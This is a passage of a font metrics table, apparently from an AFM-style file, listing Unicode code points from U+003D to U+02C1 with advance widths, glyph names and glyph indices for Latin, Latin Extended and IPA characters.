U 61 ; WX 838 ; N equal ; G 32
U 62 ; WX 838 ; N greater ; G 33
U 63 ; WX 586 ; N question ; G 34
U 64 ; WX 1000 ; N at ; G 35
U 65 ; WX 776 ; N A ; G 36
U 66 ; WX 845 ; N B ; G 37
U 67 ; WX 796 ; N C ; G 38
U 68 ; WX 867 ; N D ; G 39
U 69 ; WX 762 ; N E ; G 40
U 70 ; WX 710 ; N F ; G 41
U 71 ; WX 854 ; N G ; G 42
U 72 ; WX 945 ; N H ; G 43
U 73 ; WX 468 ; N I ; G 44
U 74 ; WX 473 ; N J ; G 45
U 75 ; WX 869 ; N K ; G 46
U 76 ; WX 703 ; N L ; G 47
U 77 ; WX 1107 ; N M ; G 48
U 78 ; WX 914 ; N N ; G 49
U 79 ; WX 871 ; N O ; G 50
U 80 ; WX 752 ; N P ; G 51
U 81 ; WX 871 ; N Q ; G 52
U 82 ; WX 831 ; N R ; G 53
U 83 ; WX 722 ; N S ; G 54
U 84 ; WX 744 ; N T ; G 55
U 85 ; WX 872 ; N U ; G 56
U 86 ; WX 776 ; N V ; G 57
U 87 ; WX 1123 ; N W ; G 58
U 88 ; WX 776 ; N X ; G 59
U 89 ; WX 714 ; N Y ; G 60
U 90 ; WX 730 ; N Z ; G 61
U 91 ; WX 473 ; N bracketleft ; G 62
U 92 ; WX 365 ; N backslash ; G 63
U 93 ; WX 473 ; N bracketright ; G 64
U 94 ; WX 838 ; N asciicircum ; G 65
U 95 ; WX 500 ; N underscore ; G 66
U 96 ; WX 500 ; N grave ; G 67
U 97 ; WX 648 ; N a ; G 68
U 98 ; WX 699 ; N b ; G 69
U 99 ; WX 609 ; N c ; G 70
U 100 ; WX 699 ; N d ; G 71
U 101 ; WX 636 ; N e ; G 72
U 102 ; WX 430 ; N f ; G 73
U 103 ; WX 699 ; N g ; G 74
U 104 ; WX 727 ; N h ; G 75
U 105 ; WX 380 ; N i ; G 76
U 106 ; WX 362 ; N j ; G 77
U 107 ; WX 693 ; N k ; G 78
U 108 ; WX 380 ; N l ; G 79
U 109 ; WX 1058 ; N m ; G 80
U 110 ; WX 727 ; N n ; G 81
U 111 ; WX 667 ; N o ; G 82
U 112 ; WX 699 ; N p ; G 83
U 113 ; WX 699 ; N q ; G 84
U 114 ; WX 527 ; N r ; G 85
U 115 ; WX 563 ; N s ; G 86
U 116 ; WX 462 ; N t ; G 87
U 117 ; WX 727 ; N u ; G 88
U 118 ; WX 581 ; N v ; G 89
U 119 ; WX 861 ; N w ; G 90
U 120 ; WX 596 ; N x ; G 91
U 121 ; WX 581 ; N y ; G 92
U 122 ; WX 568 ; N z ; G 93
U 123 ; WX 643 ; N braceleft ; G 94
U 124 ; WX 364 ; N bar ; G 95
U 125 ; WX 643 ; N braceright ; G 96
U 126 ; WX 838 ; N asciitilde ; G 97
U 160 ; WX 348 ; N nbspace ; G 98
U 161 ; WX 439 ; N exclamdown ; G 99
U 162 ; WX 696 ; N cent ; G 100
U 163 ; WX 696 ; N sterling ; G 101
U 164 ; WX 636 ; N currency ; G 102
U 165 ; WX 696 ; N yen ; G 103
U 166 ; WX 364 ; N brokenbar ; G 104
U 167 ; WX 523 ; N section ; G 105
U 168 ; WX 500 ; N dieresis ; G 106
U 169 ; WX 1000 ; N copyright ; G 107
U 170 ; WX 487 ; N ordfeminine ; G 108
U 171 ; WX 625 ; N guillemotleft ; G 109
U 172 ; WX 838 ; N logicalnot ; G 110
U 173 ; WX 415 ; N sfthyphen ; G 111
U 174 ; WX 1000 ; N registered ; G 112
U 175 ; WX 500 ; N macron ; G 113
U 176 ; WX 500 ; N degree ; G 114
U 177 ; WX 838 ; N plusminus ; G 115
U 178 ; WX 438 ; N twosuperior ; G 116
U 179 ; WX 438 ; N threesuperior ; G 117
U 180 ; WX 500 ; N acute ; G 118
U 181 ; WX 732 ; N mu ; G 119
U 182 ; WX 636 ; N paragraph ; G 120
U 183 ; WX 348 ; N periodcentered ; G 121
U 184 ; WX 500 ; N cedilla ; G 122
U 185 ; WX 438 ; N onesuperior ; G 123
U 186 ; WX 500 ; N ordmasculine ; G 124
U 187 ; WX 625 ; N guillemotright ; G 125
U 188 ; WX 1043 ; N onequarter ; G 126
U 189 ; WX 1043 ; N onehalf ; G 127
U 190 ; WX 1043 ; N threequarters ; G 128
U 191 ; WX 586 ; N questiondown ; G 129
U 192 ; WX 776 ; N Agrave ; G 130
U 193 ; WX 776 ; N Aacute ; G 131
U 194 ; WX 776 ; N Acircumflex ; G 132
U 195 ; WX 776 ; N Atilde ; G 133
U 196 ; WX 776 ; N Adieresis ; G 134
U 197 ; WX 776 ; N Aring ; G 135
U 198 ; WX 1034 ; N AE ; G 136
U 199 ; WX 796 ; N Ccedilla ; G 137
U 200 ; WX 762 ; N Egrave ; G 138
U 201 ; WX 762 ; N Eacute ; G 139
U 202 ; WX 762 ; N Ecircumflex ; G 140
U 203 ; WX 762 ; N Edieresis ; G 141
U 204 ; WX 468 ; N Igrave ; G 142
U 205 ; WX 468 ; N Iacute ; G 143
U 206 ; WX 468 ; N Icircumflex ; G 144
U 207 ; WX 468 ; N Idieresis ; G 145
U 208 ; WX 874 ; N Eth ; G 146
U 209 ; WX 914 ; N Ntilde ; G 147
U 210 ; WX 871 ; N Ograve ; G 148
U 211 ; WX 871 ; N Oacute ; G 149
U 212 ; WX 871 ; N Ocircumflex ; G 150
U 213 ; WX 871 ; N Otilde ; G 151
U 214 ; WX 871 ; N Odieresis ; G 152
U 215 ; WX 838 ; N multiply ; G 153
U 216 ; WX 871 ; N Oslash ; G 154
U 217 ; WX 872 ; N Ugrave ; G 155
U 218 ; WX 872 ; N Uacute ; G 156
U 219 ; WX 872 ; N Ucircumflex ; G 157
U 220 ; WX 872 ; N Udieresis ; G 158
U 221 ; WX 714 ; N Yacute ; G 159
U 222 ; WX 757 ; N Thorn ; G 160
U 223 ; WX 760 ; N germandbls ; G 161
U 224 ; WX 648 ; N agrave ; G 162
U 225 ; WX 648 ; N aacute ; G 163
U 226 ; WX 648 ; N acircumflex ; G 164
U 227 ; WX 648 ; N atilde ; G 165
U 228 ; WX 648 ; N adieresis ; G 166
U 229 ; WX 648 ; N aring ; G 167
U 230 ; WX 975 ; N ae ; G 168
U 231 ; WX 609 ; N ccedilla ; G 169
U 232 ; WX 636 ; N egrave ; G 170
U 233 ; WX 636 ; N eacute ; G 171
U 234 ; WX 636 ; N ecircumflex ; G 172
U 235 ; WX 636 ; N edieresis ; G 173
U 236 ; WX 380 ; N igrave ; G 174
U 237 ; WX 380 ; N iacute ; G 175
U 238 ; WX 380 ; N icircumflex ; G 176
U 239 ; WX 380 ; N idieresis ; G 177
U 240 ; WX 667 ; N eth ; G 178
U 241 ; WX 727 ; N ntilde ; G 179
U 242 ; WX 667 ; N ograve ; G 180
U 243 ; WX 667 ; N oacute ; G 181
U 244 ; WX 667 ; N ocircumflex ; G 182
U 245 ; WX 667 ; N otilde ; G 183
U 246 ; WX 667 ; N odieresis ; G 184
U 247 ; WX 838 ; N divide ; G 185
U 248 ; WX 667 ; N oslash ; G 186
U 249 ; WX 727 ; N ugrave ; G 187
U 250 ; WX 727 ; N uacute ; G 188
U 251 ; WX 727 ; N ucircumflex ; G 189
U 252 ; WX 727 ; N udieresis ; G 190
U 253 ; WX 581 ; N yacute ; G 191
U 254 ; WX 699 ; N thorn ; G 192
U 255 ; WX 581 ; N ydieresis ; G 193
U 256 ; WX 776 ; N Amacron ; G 194
U 257 ; WX 648 ; N amacron ; G 195
U 258 ; WX 776 ; N Abreve ; G 196
U 259 ; WX 648 ; N abreve ; G 197
U 260 ; WX 776 ; N Aogonek ; G 198
U 261 ; WX 648 ; N aogonek ; G 199
U 262 ; WX 796 ; N Cacute ; G 200
U 263 ; WX 609 ; N cacute ; G 201
U 264 ; WX 796 ; N Ccircumflex ; G 202
U 265 ; WX 609 ; N ccircumflex ; G 203
U 266 ; WX 796 ; N Cdotaccent ; G 204
U 267 ; WX 609 ; N cdotaccent ; G 205
U 268 ; WX 796 ; N Ccaron ; G 206
U 269 ; WX 609 ; N ccaron ; G 207
U 270 ; WX 867 ; N Dcaron ; G 208
U 271 ; WX 699 ; N dcaron ; G 209
U 272 ; WX 874 ; N Dcroat ; G 210
U 273 ; WX 699 ; N dmacron ; G 211
U 274 ; WX 762 ; N Emacron ; G 212
U 275 ; WX 636 ; N emacron ; G 213
U 276 ; WX 762 ; N Ebreve ; G 214
U 277 ; WX 636 ; N ebreve ; G 215
U 278 ; WX 762 ; N Edotaccent ; G 216
U 279 ; WX 636 ; N edotaccent ; G 217
U 280 ; WX 762 ; N Eogonek ; G 218
U 281 ; WX 636 ; N eogonek ; G 219
U 282 ; WX 762 ; N Ecaron ; G 220
U 283 ; WX 636 ; N ecaron ; G 221
U 284 ; WX 854 ; N Gcircumflex ; G 222
U 285 ; WX 699 ; N gcircumflex ; G 223
U 286 ; WX 854 ; N Gbreve ; G 224
U 287 ; WX 699 ; N gbreve ; G 225
U 288 ; WX 854 ; N Gdotaccent ; G 226
U 289 ; WX 699 ; N gdotaccent ; G 227
U 290 ; WX 854 ; N Gcommaaccent ; G 228
U 291 ; WX 699 ; N gcommaaccent ; G 229
U 292 ; WX 945 ; N Hcircumflex ; G 230
U 293 ; WX 727 ; N hcircumflex ; G 231
U 294 ; WX 945 ; N Hbar ; G 232
U 295 ; WX 727 ; N hbar ; G 233
U 296 ; WX 468 ; N Itilde ; G 234
U 297 ; WX 380 ; N itilde ; G 235
U 298 ; WX 468 ; N Imacron ; G 236
U 299 ; WX 380 ; N imacron ; G 237
U 300 ; WX 468 ; N Ibreve ; G 238
U 301 ; WX 380 ; N ibreve ; G 239
U 302 ; WX 468 ; N Iogonek ; G 240
U 303 ; WX 380 ; N iogonek ; G 241
U 304 ; WX 468 ; N Idot ; G 242
U 305 ; WX 380 ; N dotlessi ; G 243
U 306 ; WX 942 ; N IJ ; G 244
U 307 ; WX 751 ; N ij ; G 245
U 308 ; WX 473 ; N Jcircumflex ; G 246
U 309 ; WX 362 ; N jcircumflex ; G 247
U 310 ; WX 869 ; N Kcommaaccent ; G 248
U 311 ; WX 693 ; N kcommaaccent ; G 249
U 312 ; WX 693 ; N kgreenlandic ; G 250
U 313 ; WX 703 ; N Lacute ; G 251
U 314 ; WX 380 ; N lacute ; G 252
U 315 ; WX 703 ; N Lcommaaccent ; G 253
U 316 ; WX 380 ; N lcommaaccent ; G 254
U 317 ; WX 703 ; N Lcaron ; G 255
U 318 ; WX 380 ; N lcaron ; G 256
U 319 ; WX 703 ; N Ldot ; G 257
U 320 ; WX 380 ; N ldot ; G 258
U 321 ; WX 710 ; N Lslash ; G 259
U 322 ; WX 385 ; N lslash ; G 260
U 323 ; WX 914 ; N Nacute ; G 261
U 324 ; WX 727 ; N nacute ; G 262
U 325 ; WX 914 ; N Ncommaaccent ; G 263
U 326 ; WX 727 ; N ncommaaccent ; G 264
U 327 ; WX 914 ; N Ncaron ; G 265
U 328 ; WX 727 ; N ncaron ; G 266
U 329 ; WX 1008 ; N napostrophe ; G 267
U 330 ; WX 872 ; N Eng ; G 268
U 331 ; WX 727 ; N eng ; G 269
U 332 ; WX 871 ; N Omacron ; G 270
U 333 ; WX 667 ; N omacron ; G 271
U 334 ; WX 871 ; N Obreve ; G 272
U 335 ; WX 667 ; N obreve ; G 273
U 336 ; WX 871 ; N Ohungarumlaut ; G 274
U 337 ; WX 667 ; N ohungarumlaut ; G 275
U 338 ; WX 1180 ; N OE ; G 276
U 339 ; WX 1028 ; N oe ; G 277
U 340 ; WX 831 ; N Racute ; G 278
U 341 ; WX 527 ; N racute ; G 279
U 342 ; WX 831 ; N Rcommaaccent ; G 280
U 343 ; WX 527 ; N rcommaaccent ; G 281
U 344 ; WX 831 ; N Rcaron ; G 282
U 345 ; WX 527 ; N rcaron ; G 283
U 346 ; WX 722 ; N Sacute ; G 284
U 347 ; WX 563 ; N sacute ; G 285
U 348 ; WX 722 ; N Scircumflex ; G 286
U 349 ; WX 563 ; N scircumflex ; G 287
U 350 ; WX 722 ; N Scedilla ; G 288
U 351 ; WX 563 ; N scedilla ; G 289
U 352 ; WX 722 ; N Scaron ; G 290
U 353 ; WX 563 ; N scaron ; G 291
U 354 ; WX 744 ; N Tcommaaccent ; G 292
U 355 ; WX 462 ; N tcommaaccent ; G 293
U 356 ; WX 744 ; N Tcaron ; G 294
U 357 ; WX 462 ; N tcaron ; G 295
U 358 ; WX 744 ; N Tbar ; G 296
U 359 ; WX 462 ; N tbar ; G 297
U 360 ; WX 872 ; N Utilde ; G 298
U 361 ; WX 727 ; N utilde ; G 299
U 362 ; WX 872 ; N Umacron ; G 300
U 363 ; WX 727 ; N umacron ; G 301
U 364 ; WX 872 ; N Ubreve ; G 302
U 365 ; WX 727 ; N ubreve ; G 303
U 366 ; WX 872 ; N Uring ; G 304
U 367 ; WX 727 ; N uring ; G 305
U 368 ; WX 872 ; N Uhungarumlaut ; G 306
U 369 ; WX 727 ; N uhungarumlaut ; G 307
U 370 ; WX 872 ; N Uogonek ; G 308
U 371 ; WX 727 ; N uogonek ; G 309
U 372 ; WX 1123 ; N Wcircumflex ; G 310
U 373 ; WX 861 ; N wcircumflex ; G 311
U 374 ; WX 714 ; N Ycircumflex ; G 312
U 375 ; WX 581 ; N ycircumflex ; G 313
U 376 ; WX 714 ; N Ydieresis ; G 314
U 377 ; WX 730 ; N Zacute ; G 315
U 378 ; WX 568 ; N zacute ; G 316
U 379 ; WX 730 ; N Zdotaccent ; G 317
U 380 ; WX 568 ; N zdotaccent ; G 318
U 381 ; WX 730 ; N Zcaron ; G 319
U 382 ; WX 568 ; N zcaron ; G 320
U 383 ; WX 430 ; N longs ; G 321
U 384 ; WX 699 ; N uni0180 ; G 322
U 385 ; WX 845 ; N uni0181 ; G 323
U 386 ; WX 854 ; N uni0182 ; G 324
U 387 ; WX 699 ; N uni0183 ; G 325
U 388 ; WX 854 ; N uni0184 ; G 326
U 389 ; WX 699 ; N uni0185 ; G 327
U 390 ; WX 796 ; N uni0186 ; G 328
U 391 ; WX 796 ; N uni0187 ; G 329
U 392 ; WX 609 ; N uni0188 ; G 330
U 393 ; WX 874 ; N uni0189 ; G 331
U 394 ; WX 867 ; N uni018A ; G 332
U 395 ; WX 854 ; N uni018B ; G 333
U 396 ; WX 699 ; N uni018C ; G 334
U 397 ; WX 667 ; N uni018D ; G 335
U 398 ; WX 762 ; N uni018E ; G 336
U 399 ; WX 871 ; N uni018F ; G 337
U 400 ; WX 721 ; N uni0190 ; G 338
U 401 ; WX 710 ; N uni0191 ; G 339
U 402 ; WX 430 ; N florin ; G 340
U 403 ; WX 854 ; N uni0193 ; G 341
U 404 ; WX 771 ; N uni0194 ; G 342
U 405 ; WX 1043 ; N uni0195 ; G 343
U 406 ; WX 468 ; N uni0196 ; G 344
U 407 ; WX 468 ; N uni0197 ; G 345
U 408 ; WX 869 ; N uni0198 ; G 346
U 409 ; WX 693 ; N uni0199 ; G 347
U 410 ; WX 380 ; N uni019A ; G 348
U 411 ; WX 701 ; N uni019B ; G 349
U 412 ; WX 1058 ; N uni019C ; G 350
U 413 ; WX 914 ; N uni019D ; G 351
U 414 ; WX 727 ; N uni019E ; G 352
U 415 ; WX 871 ; N uni019F ; G 353
U 416 ; WX 871 ; N Ohorn ; G 354
U 417 ; WX 667 ; N ohorn ; G 355
U 418 ; WX 1200 ; N uni01A2 ; G 356
U 419 ; WX 943 ; N uni01A3 ; G 357
U 420 ; WX 752 ; N uni01A4 ; G 358
U 421 ; WX 699 ; N uni01A5 ; G 359
U 422 ; WX 831 ; N uni01A6 ; G 360
U 423 ; WX 722 ; N uni01A7 ; G 361
U 424 ; WX 563 ; N uni01A8 ; G 362
U 425 ; WX 707 ; N uni01A9 ; G 363
U 426 ; WX 331 ; N uni01AA ; G 364
U 427 ; WX 462 ; N uni01AB ; G 365
U 428 ; WX 744 ; N uni01AC ; G 366
U 429 ; WX 462 ; N uni01AD ; G 367
U 430 ; WX 744 ; N uni01AE ; G 368
U 431 ; WX 872 ; N Uhorn ; G 369
U 432 ; WX 727 ; N uhorn ; G 370
U 433 ; WX 890 ; N uni01B1 ; G 371
U 434 ; WX 890 ; N uni01B2 ; G 372
U 435 ; WX 714 ; N uni01B3 ; G 373
U 436 ; WX 708 ; N uni01B4 ; G 374
U 437 ; WX 730 ; N uni01B5 ; G 375
U 438 ; WX 568 ; N uni01B6 ; G 376
U 439 ; WX 657 ; N uni01B7 ; G 377
U 440 ; WX 657 ; N uni01B8 ; G 378
U 441 ; WX 657 ; N uni01B9 ; G 379
U 442 ; WX 657 ; N uni01BA ; G 380
U 443 ; WX 696 ; N uni01BB ; G 381
U 444 ; WX 754 ; N uni01BC ; G 382
U 445 ; WX 568 ; N uni01BD ; G 383
U 446 ; WX 536 ; N uni01BE ; G 384
U 447 ; WX 716 ; N uni01BF ; G 385
U 448 ; WX 295 ; N uni01C0 ; G 386
U 449 ; WX 492 ; N uni01C1 ; G 387
U 450 ; WX 459 ; N uni01C2 ; G 388
U 451 ; WX 295 ; N uni01C3 ; G 389
U 452 ; WX 1597 ; N uni01C4 ; G 390
U 453 ; WX 1435 ; N uni01C5 ; G 391
U 454 ; WX 1267 ; N uni01C6 ; G 392
U 455 ; WX 1176 ; N uni01C7 ; G 393
U 456 ; WX 1065 ; N uni01C8 ; G 394
U 457 ; WX 742 ; N uni01C9 ; G 395
U 458 ; WX 1387 ; N uni01CA ; G 396
U 459 ; WX 1276 ; N uni01CB ; G 397
U 460 ; WX 1089 ; N uni01CC ; G 398
U 461 ; WX 776 ; N uni01CD ; G 399
U 462 ; WX 648 ; N uni01CE ; G 400
U 463 ; WX 468 ; N uni01CF ; G 401
U 464 ; WX 380 ; N uni01D0 ; G 402
U 465 ; WX 871 ; N uni01D1 ; G 403
U 466 ; WX 667 ; N uni01D2 ; G 404
U 467 ; WX 872 ; N uni01D3 ; G 405
U 468 ; WX 727 ; N uni01D4 ; G 406
U 469 ; WX 872 ; N uni01D5 ; G 407
U 470 ; WX 727 ; N uni01D6 ; G 408
U 471 ; WX 872 ; N uni01D7 ; G 409
U 472 ; WX 727 ; N uni01D8 ; G 410
U 473 ; WX 872 ; N uni01D9 ; G 411
U 474 ; WX 727 ; N uni01DA ; G 412
U 475 ; WX 872 ; N uni01DB ; G 413
U 476 ; WX 727 ; N uni01DC ; G 414
U 477 ; WX 636 ; N uni01DD ; G 415
U 478 ; WX 776 ; N uni01DE ; G 416
U 479 ; WX 648 ; N uni01DF ; G 417
U 480 ; WX 776 ; N uni01E0 ; G 418
U 481 ; WX 648 ; N uni01E1 ; G 419
U 482 ; WX 1034 ; N uni01E2 ; G 420
U 483 ; WX 975 ; N uni01E3 ; G 421
U 484 ; WX 896 ; N uni01E4 ; G 422
U 485 ; WX 699 ; N uni01E5 ; G 423
U 486 ; WX 854 ; N Gcaron ; G 424
U 487 ; WX 699 ; N gcaron ; G 425
U 488 ; WX 869 ; N uni01E8 ; G 426
U 489 ; WX 693 ; N uni01E9 ; G 427
U 490 ; WX 871 ; N uni01EA ; G 428
U 491 ; WX 667 ; N uni01EB ; G 429
U 492 ; WX 871 ; N uni01EC ; G 430
U 493 ; WX 667 ; N uni01ED ; G 431
U 494 ; WX 657 ; N uni01EE ; G 432
U 495 ; WX 568 ; N uni01EF ; G 433
U 496 ; WX 380 ; N uni01F0 ; G 434
U 497 ; WX 1597 ; N uni01F1 ; G 435
U 498 ; WX 1435 ; N uni01F2 ; G 436
U 499 ; WX 1267 ; N uni01F3 ; G 437
U 500 ; WX 854 ; N uni01F4 ; G 438
U 501 ; WX 699 ; N uni01F5 ; G 439
U 502 ; WX 1221 ; N uni01F6 ; G 440
U 503 ; WX 787 ; N uni01F7 ; G 441
U 504 ; WX 914 ; N uni01F8 ; G 442
U 505 ; WX 727 ; N uni01F9 ; G 443
U 506 ; WX 776 ; N Aringacute ; G 444
U 507 ; WX 648 ; N aringacute ; G 445
U 508 ; WX 1034 ; N AEacute ; G 446
U 509 ; WX 975 ; N aeacute ; G 447
U 510 ; WX 871 ; N Oslashacute ; G 448
U 511 ; WX 667 ; N oslashacute ; G 449
U 512 ; WX 776 ; N uni0200 ; G 450
U 513 ; WX 648 ; N uni0201 ; G 451
U 514 ; WX 776 ; N uni0202 ; G 452
U 515 ; WX 648 ; N uni0203 ; G 453
U 516 ; WX 762 ; N uni0204 ; G 454
U 517 ; WX 636 ; N uni0205 ; G 455
U 518 ; WX 762 ; N uni0206 ; G 456
U 519 ; WX 636 ; N uni0207 ; G 457
U 520 ; WX 468 ; N uni0208 ; G 458
U 521 ; WX 380 ; N uni0209 ; G 459
U 522 ; WX 468 ; N uni020A ; G 460
U 523 ; WX 380 ; N uni020B ; G 461
U 524 ; WX 871 ; N uni020C ; G 462
U 525 ; WX 667 ; N uni020D ; G 463
U 526 ; WX 871 ; N uni020E ; G 464
U 527 ; WX 667 ; N uni020F ; G 465
U 528 ; WX 831 ; N uni0210 ; G 466
U 529 ; WX 527 ; N uni0211 ; G 467
U 530 ; WX 831 ; N uni0212 ; G 468
U 531 ; WX 527 ; N uni0213 ; G 469
U 532 ; WX 872 ; N uni0214 ; G 470
U 533 ; WX 727 ; N uni0215 ; G 471
U 534 ; WX 872 ; N uni0216 ; G 472
U 535 ; WX 727 ; N uni0217 ; G 473
U 536 ; WX 722 ; N Scommaaccent ; G 474
U 537 ; WX 563 ; N scommaaccent ; G 475
U 538 ; WX 744 ; N uni021A ; G 476
U 539 ; WX 462 ; N uni021B ; G 477
U 540 ; WX 690 ; N uni021C ; G 478
U 541 ; WX 607 ; N uni021D ; G 479
U 542 ; WX 945 ; N uni021E ; G 480
U 543 ; WX 727 ; N uni021F ; G 481
U 544 ; WX 872 ; N uni0220 ; G 482
U 545 ; WX 791 ; N uni0221 ; G 483
U 546 ; WX 703 ; N uni0222 ; G 484
U 547 ; WX 616 ; N uni0223 ; G 485
U 548 ; WX 730 ; N uni0224 ; G 486
U 549 ; WX 568 ; N uni0225 ; G 487
U 550 ; WX 776 ; N uni0226 ; G 488
U 551 ; WX 648 ; N uni0227 ; G 489
U 552 ; WX 762 ; N uni0228 ; G 490
U 553 ; WX 636 ; N uni0229 ; G 491
U 554 ; WX 871 ; N uni022A ; G 492
U 555 ; WX 667 ; N uni022B ; G 493
U 556 ; WX 871 ; N uni022C ; G 494
U 557 ; WX 667 ; N uni022D ; G 495
U 558 ; WX 871 ; N uni022E ; G 496
U 559 ; WX 667 ; N uni022F ; G 497
U 560 ; WX 871 ; N uni0230 ; G 498
U 561 ; WX 667 ; N uni0231 ; G 499
U 562 ; WX 714 ; N uni0232 ; G 500
U 563 ; WX 581 ; N uni0233 ; G 501
U 564 ; WX 573 ; N uni0234 ; G 502
U 565 ; WX 922 ; N uni0235 ; G 503
U 566 ; WX 564 ; N uni0236 ; G 504
U 567 ; WX 362 ; N dotlessj ; G 505
U 568 ; WX 1031 ; N uni0238 ; G 506
U 569 ; WX 1031 ; N uni0239 ; G 507
U 570 ; WX 776 ; N uni023A ; G 508
U 571 ; WX 796 ; N uni023B ; G 509
U 572 ; WX 609 ; N uni023C ; G 510
U 573 ; WX 703 ; N uni023D ; G 511
U 574 ; WX 744 ; N uni023E ; G 512
U 575 ; WX 563 ; N uni023F ; G 513
U 576 ; WX 568 ; N uni0240 ; G 514
U 577 ; WX 660 ; N uni0241 ; G 515
U 578 ; WX 547 ; N uni0242 ; G 516
U 579 ; WX 845 ; N uni0243 ; G 517
U 580 ; WX 872 ; N uni0244 ; G 518
U 581 ; WX 776 ; N uni0245 ; G 519
U 582 ; WX 762 ; N uni0246 ; G 520
U 583 ; WX 636 ; N uni0247 ; G 521
U 584 ; WX 473 ; N uni0248 ; G 522
U 585 ; WX 387 ; N uni0249 ; G 523
U 586 ; WX 848 ; N uni024A ; G 524
U 587 ; WX 699 ; N uni024B ; G 525
U 588 ; WX 831 ; N uni024C ; G 526
U 589 ; WX 527 ; N uni024D ; G 527
U 590 ; WX 714 ; N uni024E ; G 528
U 591 ; WX 581 ; N uni024F ; G 529
U 592 ; WX 648 ; N uni0250 ; G 530
U 593 ; WX 699 ; N uni0251 ; G 531
U 594 ; WX 699 ; N uni0252 ; G 532
U 595 ; WX 699 ; N uni0253 ; G 533
U 596 ; WX 609 ; N uni0254 ; G 534
U 597 ; WX 609 ; N uni0255 ; G 535
U 598 ; WX 699 ; N uni0256 ; G 536
U 599 ; WX 730 ; N uni0257 ; G 537
U 600 ; WX 636 ; N uni0258 ; G 538
U 601 ; WX 636 ; N uni0259 ; G 539
U 602 ; WX 907 ; N uni025A ; G 540
U 603 ; WX 608 ; N uni025B ; G 541
U 604 ; WX 562 ; N uni025C ; G 542
U 605 ; WX 907 ; N uni025D ; G 543
U 606 ; WX 714 ; N uni025E ; G 544
U 607 ; WX 387 ; N uni025F ; G 545
U 608 ; WX 699 ; N uni0260 ; G 546
U 609 ; WX 699 ; N uni0261 ; G 547
U 610 ; WX 638 ; N uni0262 ; G 548
U 611 ; WX 601 ; N uni0263 ; G 549
U 612 ; WX 627 ; N uni0264 ; G 550
U 613 ; WX 727 ; N uni0265 ; G 551
U 614 ; WX 727 ; N uni0266 ; G 552
U 615 ; WX 727 ; N uni0267 ; G 553
U 616 ; WX 380 ; N uni0268 ; G 554
U 617 ; WX 380 ; N uni0269 ; G 555
U 618 ; WX 380 ; N uni026A ; G 556
U 619 ; WX 409 ; N uni026B ; G 557
U 620 ; WX 514 ; N uni026C ; G 558
U 621 ; WX 380 ; N uni026D ; G 559
U 622 ; WX 795 ; N uni026E ; G 560
U 623 ; WX 1058 ; N uni026F ; G 561
U 624 ; WX 1058 ; N uni0270 ; G 562
U 625 ; WX 1058 ; N uni0271 ; G 563
U 626 ; WX 727 ; N uni0272 ; G 564
U 627 ; WX 727 ; N uni0273 ; G 565
U 628 ; WX 712 ; N uni0274 ; G 566
U 629 ; WX 667 ; N uni0275 ; G 567
U 630 ; WX 1061 ; N uni0276 ; G 568
U 631 ; WX 944 ; N uni0277 ; G 569
U 632 ; WX 797 ; N uni0278 ; G 570
U 633 ; WX 571 ; N uni0279 ; G 571
U 634 ; WX 571 ; N uni027A ; G 572
U 635 ; WX 571 ; N uni027B ; G 573
U 636 ; WX 527 ; N uni027C ; G 574
U 637 ; WX 527 ; N uni027D ; G 575
U 638 ; WX 452 ; N uni027E ; G 576
U 639 ; WX 487 ; N uni027F ; G 577
U 640 ; WX 694 ; N uni0280 ; G 578
U 641 ; WX 694 ; N uni0281 ; G 579
U 642 ; WX 563 ; N uni0282 ; G 580
U 643 ; WX 331 ; N uni0283 ; G 581
U 644 ; WX 430 ; N uni0284 ; G 582
U 645 ; WX 540 ; N uni0285 ; G 583
U 646 ; WX 331 ; N uni0286 ; G 584
U 647 ; WX 492 ; N uni0287 ; G 585
U 648 ; WX 462 ; N uni0288 ; G 586
U 649 ; WX 727 ; N uni0289 ; G 587
U 650 ; WX 679 ; N uni028A ; G 588
U 651 ; WX 694 ; N uni028B ; G 589
U 652 ; WX 641 ; N uni028C ; G 590
U 653 ; WX 907 ; N uni028D ; G 591
U 654 ; WX 635 ; N uni028E ; G 592
U 655 ; WX 727 ; N uni028F ; G 593
U 656 ; WX 568 ; N uni0290 ; G 594
U 657 ; WX 568 ; N uni0291 ; G 595
U 658 ; WX 568 ; N uni0292 ; G 596
U 659 ; WX 568 ; N uni0293 ; G 597
U 660 ; WX 551 ; N uni0294 ; G 598
U 661 ; WX 551 ; N uni0295 ; G 599
U 662 ; WX 551 ; N uni0296 ; G 600
U 663 ; WX 545 ; N uni0297 ; G 601
U 664 ; WX 871 ; N uni0298 ; G 602
U 665 ; WX 695 ; N uni0299 ; G 603
U 666 ; WX 714 ; N uni029A ; G 604
U 667 ; WX 689 ; N uni029B ; G 605
U 668 ; WX 732 ; N uni029C ; G 606
U 669 ; WX 384 ; N uni029D ; G 607
U 670 ; WX 740 ; N uni029E ; G 608
U 671 ; WX 617 ; N uni029F ; G 609
U 672 ; WX 699 ; N uni02A0 ; G 610
U 673 ; WX 551 ; N uni02A1 ; G 611
U 674 ; WX 551 ; N uni02A2 ; G 612
U 675 ; WX 1117 ; N uni02A3 ; G 613
U 676 ; WX 1179 ; N uni02A4 ; G 614
U 677 ; WX 1117 ; N uni02A5 ; G 615
U 678 ; WX 938 ; N uni02A6 ; G 616
U 679 ; WX 715 ; N uni02A7 ; G 617
U 680 ; WX 946 ; N uni02A8 ; G 618
U 681 ; WX 1039 ; N uni02A9 ; G 619
U 682 ; WX 870 ; N uni02AA ; G 620
U 683 ; WX 795 ; N uni02AB ; G 621
U 684 ; WX 662 ; N uni02AC ; G 622
U 685 ; WX 443 ; N uni02AD ; G 623
U 686 ; WX 613 ; N uni02AE ; G 624
U 687 ; WX 717 ; N uni02AF ; G 625
U 688 ; WX 521 ; N uni02B0 ; G 626
U 689 ; WX 519 ; N uni02B1 ; G 627
U 690 ; WX 313 ; N uni02B2 ; G 628
U 691 ; WX 414 ; N uni02B3 ; G 629
U 692 ; WX 414 ; N uni02B4 ; G 630
U 693 ; WX 480 ; N uni02B5 ; G 631
U 694 ; WX 527 ; N uni02B6 ; G 632
U 695 ; WX 662 ; N uni02B7 ; G 633
U 696 ; WX 485 ; N uni02B8 ; G 634
U 697 ; WX 302 ; N uni02B9 ; G 635
U 698 ; WX 521 ; N uni02BA ; G 636
U 699 ; WX 348 ; N uni02BB ; G 637
U 700 ; WX 348 ; N uni02BC ; G 638
U 701 ; WX 348 ; N uni02BD ; G 639
U 702 ; WX 366 ; N uni02BE ; G 640
U 703 ; WX 366 ; N uni02BF ; G 641
U 704 ; WX 313 ; N uni02C0 ; G 642
U 705 ; WX 313 ; N uni02C1 ; G 643
